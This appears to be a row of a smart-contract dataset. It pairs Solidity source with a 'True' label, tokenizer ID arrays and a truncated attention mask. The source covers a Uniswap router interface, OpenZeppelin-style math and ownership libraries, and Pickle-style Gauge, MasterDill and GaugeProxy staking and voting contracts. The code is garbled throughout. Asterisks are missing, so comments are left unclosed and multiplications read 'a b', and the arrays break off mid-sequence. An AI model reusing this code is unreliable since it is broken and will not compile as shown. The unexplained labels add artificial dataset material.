swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } // SPDX-License-Identifier: MIT // solhint-disable-next-line compiler-version pragma solidity >=0.4.24 <0.8.0; /* * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. / abstract contract Initializable { /* * @dev Indicates that the contract has been initialized. / bool private _initialized; /* * @dev Indicates that the contract is in the process of being initialized. / bool private _initializing; /* * @dev Modifier to protect an initializer function from being invoked twice. / modifier initializer() { require(_initializing \|\| _isConstructor() \|\| !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function _isConstructor() private view returns (bool) { // extcodesize checks the size of the code stored in an address, and // address returns the current address. Since the code is still not // deployed when running a constructor, any checks on its code size will // yield zero, making it an effective way to detect if a contract is // under construction or not. address self = address(this); uint256 cs; // solhint-disable-next-line no-inline-assembly assembly { cs := extcodesize(self) } return cs == 0; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. / library SafeMathUpgradeable { /* * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. / function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /* * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /* * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /* * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `` operator. * Requirements: * * - Multiplication cannot overflow. / function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /* * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /* * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../GSN/ContextUpgradeable.sol"; import "../proxy/Initializable.sol"; /* * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. / abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /* * @dev Initializes the contract setting the deployer as the initial owner. / function __Ownable_init() internal initializer { __Context_init_unchained(); __Ownable_init_unchained(); } function __Ownable_init_unchained() internal initializer { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /* * @dev Returns the address of the current owner. / function owner() public view returns (address) { return _owner; } /* * @dev Throws if called by any account other than the owner. / modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /* * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. / function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. / function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../proxy/Initializable.sol"; / * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; interface AggregatorV3Interface { function decimals() external view returns (uint8); function description() external view returns (string memory); function version() external view returns (uint256); // getRoundData and latestRoundData should both raise "No data present" // if they do not have data to report, instead of returning unset values // which could be misinterpreted as actual reported values. function getRoundData(uint80 _roundId) external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); function latestRoundData() external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); }	True	[ 101, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1021, 1012, 1018, 1025, 10975, 8490, 2863, 6388, 11113, 9013, 16044, 2099, 2615, 2475, 1025, 12324, 1000, 1030, 4895, 2483, 4213, 2361, 1013, 1058, 2475, 1011, 23275, 1013, 8311, 1013, 19706, 1013, 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// SPDX-License-Identifier: MIT pragma solidity ^0.6.7; //^0.7.5; library SafeMath { function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; require(c >= a, "add: +"); return c; } function add(uint a, uint b, string memory errorMessage) internal pure returns (uint) { uint c = a + b; require(c >= a, errorMessage); return c; } function sub(uint a, uint b) internal pure returns (uint) { return sub(a, b, "sub: -"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns (uint) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "mul: "); return c; } function mul(uint a, uint b, string memory errorMessage) internal pure returns (uint) { if (a == 0) { return 0; } uint c = a b; require(c / a == b, errorMessage); return c; } function div(uint a, uint b) internal pure returns (uint) { return div(a, b, "div: /"); } function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call{value:amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { require((value == 0) \|\| (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } library Math { /** * @dev Returns the largest of two numbers. / function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /* * @dev Returns the smallest of two numbers. / function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /* * @dev Returns the average of two numbers. The result is rounded towards * zero. / function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } /* * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. / abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () public { _status = _NOT_ENTERED; } /* * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. / modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } contract Gauge is ReentrancyGuard { using SafeMath for uint256; using SafeERC20 for IERC20; IERC20 public constant PICKLE = IERC20(0x429881672B9AE42b8EbA0E26cD9C73711b891Ca5); IERC20 public constant DILL = IERC20(0xbBCf169eE191A1Ba7371F30A1C344bFC498b29Cf); address public constant TREASURY = address(0x066419EaEf5DE53cc5da0d8702b990c5bc7D1AB3); IERC20 public immutable TOKEN; address public immutable DISTRIBUTION; uint256 public constant DURATION = 7 days; uint256 public periodFinish = 0; uint256 public rewardRate = 0; uint256 public lastUpdateTime; uint256 public rewardPerTokenStored; modifier onlyDistribution() { require(msg.sender == DISTRIBUTION, "Caller is not RewardsDistribution contract"); _; } mapping(address => uint256) public userRewardPerTokenPaid; mapping(address => uint256) public rewards; uint256 private _totalSupply; uint public derivedSupply; mapping(address => uint256) private _balances; mapping(address => uint256) public derivedBalances; mapping(address => uint) private _base; constructor(address _token) public { TOKEN = IERC20(_token); DISTRIBUTION = msg.sender; } function totalSupply() external view returns (uint256) { return _totalSupply; } function balanceOf(address account) external view returns (uint256) { return _balances[account]; } function lastTimeRewardApplicable() public view returns (uint256) { return Math.min(block.timestamp, periodFinish); } function rewardPerToken() public view returns (uint256) { if (_totalSupply == 0) { return rewardPerTokenStored; } return rewardPerTokenStored.add( lastTimeRewardApplicable().sub(lastUpdateTime).mul(rewardRate).mul(1e18).div(derivedSupply) ); } function derivedBalance(address account) public view returns (uint) { uint _balance = _balances[account]; uint _derived = _balance.mul(40).div(100); uint _adjusted = (_totalSupply.mul(DILL.balanceOf(account)).div(DILL.totalSupply())).mul(60).div(100); return Math.min(_derived.add(_adjusted), _balance); } function kick(address account) public { uint _derivedBalance = derivedBalances[account]; derivedSupply = derivedSupply.sub(_derivedBalance); _derivedBalance = derivedBalance(account); derivedBalances[account] = _derivedBalance; derivedSupply = derivedSupply.add(_derivedBalance); } function earned(address account) public view returns (uint256) { return derivedBalances[account].mul(rewardPerToken().sub(userRewardPerTokenPaid[account])).div(1e18).add(rewards[account]); } function getRewardForDuration() external view returns (uint256) { return rewardRate.mul(DURATION); } function depositAll() external { _deposit(TOKEN.balanceOf(msg.sender), msg.sender); } function deposit(uint256 amount) external { _deposit(amount, msg.sender); } function depositFor(uint256 amount, address account) external { _deposit(amount, account); } function _deposit(uint amount, address account) internal nonReentrant updateReward(account) { require(amount > 0, "Cannot stake 0"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Staked(account, amount); TOKEN.safeTransferFrom(account, address(this), amount); } function withdrawAll() external { _withdraw(_balances[msg.sender]); } function withdraw(uint256 amount) external { _withdraw(amount); } function _withdraw(uint amount) internal nonReentrant updateReward(msg.sender) { require(amount > 0, "Cannot withdraw 0"); _totalSupply = _totalSupply.sub(amount); _balances[msg.sender] = _balances[msg.sender].sub(amount); TOKEN.safeTransfer(msg.sender, amount); emit Withdrawn(msg.sender, amount); } function getReward() public nonReentrant updateReward(msg.sender) { uint256 reward = rewards[msg.sender]; if (reward > 0) { rewards[msg.sender] = 0; PICKLE.safeTransfer(msg.sender, reward); emit RewardPaid(msg.sender, reward); } } function exit() external { _withdraw(_balances[msg.sender]); getReward(); } function notifyRewardAmount(uint256 reward) external onlyDistribution updateReward(address(0)) { PICKLE.safeTransferFrom(DISTRIBUTION, address(this), reward); if (block.timestamp >= periodFinish) { rewardRate = reward.div(DURATION); } else { uint256 remaining = periodFinish.sub(block.timestamp); uint256 leftover = remaining.mul(rewardRate); rewardRate = reward.add(leftover).div(DURATION); } // Ensure the provided reward amount is not more than the balance in the contract. // This keeps the reward rate in the right range, preventing overflows due to // very high values of rewardRate in the earned and rewardsPerToken functions; // Reward + leftover must be less than 2^256 / 10^18 to avoid overflow. uint balance = PICKLE.balanceOf(address(this)); require(rewardRate <= balance.div(DURATION), "Provided reward too high"); lastUpdateTime = block.timestamp; periodFinish = block.timestamp.add(DURATION); emit RewardAdded(reward); } modifier updateReward(address account) { rewardPerTokenStored = rewardPerToken(); lastUpdateTime = lastTimeRewardApplicable(); if (account != address(0)) { rewards[account] = earned(account); userRewardPerTokenPaid[account] = rewardPerTokenStored; } _; if (account != address(0)) { kick(account); } } event RewardAdded(uint256 reward); event Staked(address indexed user, uint256 amount); event Withdrawn(address indexed user, uint256 amount); event RewardPaid(address indexed user, uint256 reward); } interface MasterChef { function deposit(uint, uint) external; function withdraw(uint, uint) external; function userInfo(uint, address) external view returns (uint, uint); } contract ProtocolGovernance { /// @notice governance address for the governance contract address public governance; address public pendingGovernance; /* * @notice Allows governance to change governance (for future upgradability) * @param _governance new governance address to set / function setGovernance(address _governance) external { require(msg.sender == governance, "setGovernance: !gov"); pendingGovernance = _governance; } /* * @notice Allows pendingGovernance to accept their role as governance (protection pattern) / function acceptGovernance() external { require(msg.sender == pendingGovernance, "acceptGovernance: !pendingGov"); governance = pendingGovernance; } } contract MasterDill { using SafeMath for uint; /// @notice EIP-20 token name for this token string public constant name = "Master DILL"; /// @notice EIP-20 token symbol for this token string public constant symbol = "mDILL"; /// @notice EIP-20 token decimals for this token uint8 public constant decimals = 18; /// @notice Total number of tokens in circulation uint public totalSupply = 1e18; mapping (address => mapping (address => uint)) internal allowances; mapping (address => uint) internal balances; /// @notice The standard EIP-20 transfer event event Transfer(address indexed from, address indexed to, uint amount); /// @notice The standard EIP-20 approval event event Approval(address indexed owner, address indexed spender, uint amount); constructor() public { balances[msg.sender] = 1e18; emit Transfer(address(0x0), msg.sender, 1e18); } /* * @notice Get the number of tokens `spender` is approved to spend on behalf of `account` * @param account The address of the account holding the funds * @param spender The address of the account spending the funds * @return The number of tokens approved / function allowance(address account, address spender) external view returns (uint) { return allowances[account][spender]; } /* * @notice Approve `spender` to transfer up to `amount` from `src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * @param spender The address of the account which may transfer tokens * @param amount The number of tokens that are approved (2^256-1 means infinite) * @return Whether or not the approval succeeded / function approve(address spender, uint amount) external returns (bool) { allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } /* * @notice Get the number of tokens held by the `account` * @param account The address of the account to get the balance of * @return The number of tokens held / function balanceOf(address account) external view returns (uint) { return balances[account]; } /* * @notice Transfer `amount` tokens from `msg.sender` to `dst` * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return Whether or not the transfer succeeded / function transfer(address dst, uint amount) external returns (bool) { _transferTokens(msg.sender, dst, amount); return true; } /* * @notice Transfer `amount` tokens from `src` to `dst` * @param src The address of the source account * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return Whether or not the transfer succeeded / function transferFrom(address src, address dst, uint amount) external returns (bool) { address spender = msg.sender; uint spenderAllowance = allowances[src][spender]; if (spender != src && spenderAllowance != uint(-1)) { uint newAllowance = spenderAllowance.sub(amount, "transferFrom: exceeds spender allowance"); allowances[src][spender] = newAllowance; emit Approval(src, spender, newAllowance); } _transferTokens(src, dst, amount); return true; } function _transferTokens(address src, address dst, uint amount) internal { require(src != address(0), "_transferTokens: zero address"); require(dst != address(0), "_transferTokens: zero address"); balances[src] = balances[src].sub(amount, "_transferTokens: exceeds balance"); balances[dst] = balances[dst].add(amount, "_transferTokens: overflows"); emit Transfer(src, dst, amount); } } contract GaugeProxy is ProtocolGovernance { using SafeMath for uint256; using SafeERC20 for IERC20; MasterChef public constant MASTER = MasterChef(0xbD17B1ce622d73bD438b9E658acA5996dc394b0d); IERC20 public constant DILL = IERC20(0xbBCf169eE191A1Ba7371F30A1C344bFC498b29Cf); IERC20 public constant PICKLE = IERC20(0x429881672B9AE42b8EbA0E26cD9C73711b891Ca5); IERC20 public immutable TOKEN; uint public pid; uint public totalWeight; address[] internal _tokens; mapping(address => address) public gauges; // token => gauge mapping(address => uint) public weights; // token => weight mapping(address => mapping(address => uint)) public votes; // msg.sender => votes mapping(address => address[]) public tokenVote;// msg.sender => token mapping(address => uint) public usedWeights; // msg.sender => total voting weight of user function tokens() external view returns (address[] memory) { return _tokens; } function getGauge(address _token) external view returns (address) { return gauges[_token]; } constructor() public { TOKEN = IERC20(address(new MasterDill())); governance = msg.sender; } // Reset votes to 0 function reset() external { _reset(msg.sender); } // Reset votes to 0 function _reset(address _owner) internal { address[] storage _tokenVote = tokenVote[_owner]; uint256 _tokenVoteCnt = _tokenVote.length; for (uint i = 0; i < _tokenVoteCnt; i ++) { address _token = _tokenVote[i]; uint _votes = votes[_owner][_token]; if (_votes > 0) { totalWeight = totalWeight.sub(_votes); weights[_token] = weights[_token].sub(_votes); votes[_owner][_token] = 0; } } delete tokenVote[_owner]; } // Adjusts _owner's votes according to latest _owner's DILL balance function poke(address _owner) public { address[] memory _tokenVote = tokenVote[_owner]; uint256 _tokenCnt = _tokenVote.length; uint256[] memory _weights = new uint[](_tokenCnt); uint256 _prevUsedWeight = usedWeights[_owner]; uint256 _weight = DILL.balanceOf(_owner); for (uint256 i = 0; i < _tokenCnt; i ++) { uint256 _prevWeight = votes[_owner][_tokenVote[i]]; _weights[i] = _prevWeight.mul(_weight).div(_prevUsedWeight); } _vote(_owner, _tokenVote, _weights); } function _vote(address _owner, address[] memory _tokenVote, uint256[] memory _weights) internal { // _weights[i] = percentage 100 _reset(_owner); uint256 _tokenCnt = _tokenVote.length; uint256 _weight = DILL.balanceOf(_owner); uint256 _totalVoteWeight = 0; uint256 _usedWeight = 0; for (uint256 i = 0; i < _tokenCnt; i ++) { _totalVoteWeight = _totalVoteWeight.add(_weights[i]); } for (uint256 i = 0; i < _tokenCnt; i ++) { address _token = _tokenVote[i]; address _gauge = gauges[_token]; uint256 _tokenWeight = _weights[i].mul(_weight).div(_totalVoteWeight); if (_gauge != address(0x0)) { _usedWeight = _usedWeight.add(_tokenWeight); totalWeight = totalWeight.add(_tokenWeight); weights[_token] = weights[_token].add(_tokenWeight); tokenVote[_owner].push(_token); votes[_owner][_token] = _tokenWeight; } } usedWeights[_owner] = _usedWeight; } // Vote with DILL on a gauge function vote(address[] calldata _tokenVote, uint256[] calldata _weights) external { require(_tokenVote.length == _weights.length); _vote(msg.sender, _tokenVote, _weights); } // Add new token gauge function addGauge(address _token) external { require(msg.sender == governance, "!gov"); require(gauges[_token] == address(0x0), "exists"); gauges[_token] = address(new Gauge(_token)); _tokens.push(_token); } // Sets MasterChef PID function setPID(uint _pid) external { require(msg.sender == governance, "!gov"); require(pid == 0, "pid has already been set"); require(_pid > 0, "invalid pid"); pid = _pid; } // Deposits mDILL into MasterChef function deposit() public { require(pid > 0, "pid not initialized"); IERC20 _token = TOKEN; uint _balance = _token.balanceOf(address(this)); _token.safeApprove(address(MASTER), 0); _token.safeApprove(address(MASTER), _balance); MASTER.deposit(pid, _balance); } // Fetches Pickle function collect() public { (uint _locked,) = MASTER.userInfo(pid, address(this)); MASTER.withdraw(pid, _locked); deposit(); } function length() external view returns (uint) { return _tokens.length; } function distribute() external { collect(); uint _balance = PICKLE.balanceOf(address(this)); if (_balance > 0 && totalWeight > 0) { for (uint i = 0; i < _tokens.length; i++) { address _token = _tokens[i]; address _gauge = gauges[_token]; uint _reward = _balance.mul(weights[_token]).div(totalWeight); if (_reward > 0) { PICKLE.safeApprove(_gauge, 0); PICKLE.safeApprove(_gauge, _reward); Gauge(_gauge).notifyRewardAmount(_reward); } } } } }	True	[ 101, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 1021, 1025, 1013, 1013, 1034, 1014, 1012, 1021, 1012, 1019, 1025, 3075, 3647, 18900, 2232, 1063, 3853, 5587, 1006, 21318, 3372, 1037, 1010, 21318, 3372, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 1007, 1063, 21318, 3372, 1039, 1027, 1037, 1009, 1038, 1025, 5478, 1006, 1039, 1028, 1027, 1037, 1010, 1000, 5587, 1024, 1009, 1000, 1007, 1025, 2709, 1039, 1025, 1065, 3853, 5587, 1006, 21318, 3372, 1037, 1010, 21318, 3372, 1038, 1010, 5164, 3638, 7561, 7834, 3736, 3351, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 1007, 1063, 21318, 3372, 1039, 1027, 1037, 1009, 1038, 1025, 5478, 1006, 1039, 1028, 1027, 1037, 1010, 7561, 7834, 3736, 3351, 1007, 1025, 2709, 1039, 1025, 1065, 3853, 4942, 1006, 21318, 3372, 1037, 1010, 21318, 3372, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 1007, 1063, 2709, 4942, 1006, 1037, 1010, 1038, 1010, 1000, 4942, 1024, 1011, 1000, 1007, 1025, 1065, 3853, 4942, 1006, 21318, 3372, 1037, 1010, 21318, 3372, 1038, 1010, 5164, 3638, 7561, 7834, 3736, 3351, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 1007, 1063, 5478, 1006, 1038, 1026, 1027, 1037, 1010, 7561, 7834, 3736, 3351, 1007, 1025, 21318, 3372, 1039, 1027, 1037, 1011, 1038, 1025, 2709, 1039, 1025, 1065, 3853, 14163, 2140, 1006, 21318, 3372, 1037, 1010, 21318, 3372, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 1007, 1063, 1013, 1013, 3806, 20600, 1024, 2023, 2003, 16269, 2084, 9034, 1005, 1037, 1005, 2025, 2108, 5717, 1010, 2021, 1996, 1013, 1013, 5770, 2003, 2439, 2065, 1005, 1038, 1005, 2003, 2036, 7718, 1012, 1013, 1013, 2156, 1024, 16770, 1024, 1013, 1013, 21025, 2705, 12083, 1012, 4012, 1013, 2330, 4371, 27877, 2378, 1013, 2330, 4371, 27877, 2378, 1011, 8311, 1013, 4139, 1013, 4720, 2475, 2065, 1006, 1037, 1027, 1027, 1014, 1007, 1063, 2709, 1014, 1025, 1065, 21318, 3372, 1039, 1027, 1037, 1008, 1038, 1025, 5478, 1006, 1039, 1013, 1037, 1027, 1027, 1038, 1010, 1000, 14163, 2140, 1024, 1008, 1000, 1007, 1025, 2709, 1039, 1025, 1065, 3853, 14163, 2140, 1006, 21318, 3372, 1037, 1010, 21318, 3372, 1038, 1010, 5164, 3638, 7561, 7834, 3736, 3351, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 1007, 1063, 2065, 1006, 1037, 1027, 1027, 1014, 1007, 1063, 2709, 1014, 1025, 1065, 21318, 3372, 1039, 1027, 1037, 1008, 1038, 1025, 5478, 1006, 1039, 1013, 1037, 1027, 1027, 1038, 1010, 7561, 7834, 3736, 3351, 1007, 1025, 2709, 1039, 1025, 1065, 3853, 4487, 2615, 1006, 21318, 3372, 1037, 1010, 21318, 3372, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 1007, 1063, 2709, 4487, 2615, 1006, 1037, 1010, 1038, 1010, 1000, 4487, 2615, 1024, 1013, 1000, 1007, 1025, 1065, 3853, 4487, 2615, 1006, 21318, 3372, 1037, 1010, 21318, 3372, 1038, 1010, 5164, 3638, 7561, 7834, 3736, 3351, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 1007, 1063, 5478, 1006, 1038, 1028, 1014, 1010, 7561, 7834, 3736, 3351, 1007, 1025, 21318, 3372, 1039, 1027, 1037, 1013, 1038, 1025, 2709, 1039, 1025, 1065, 1065, 3075, 4769, 1063, 3853, 2003, 8663, 6494, 6593, 1006, 4769, 4070, 1007, 4722, 102 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 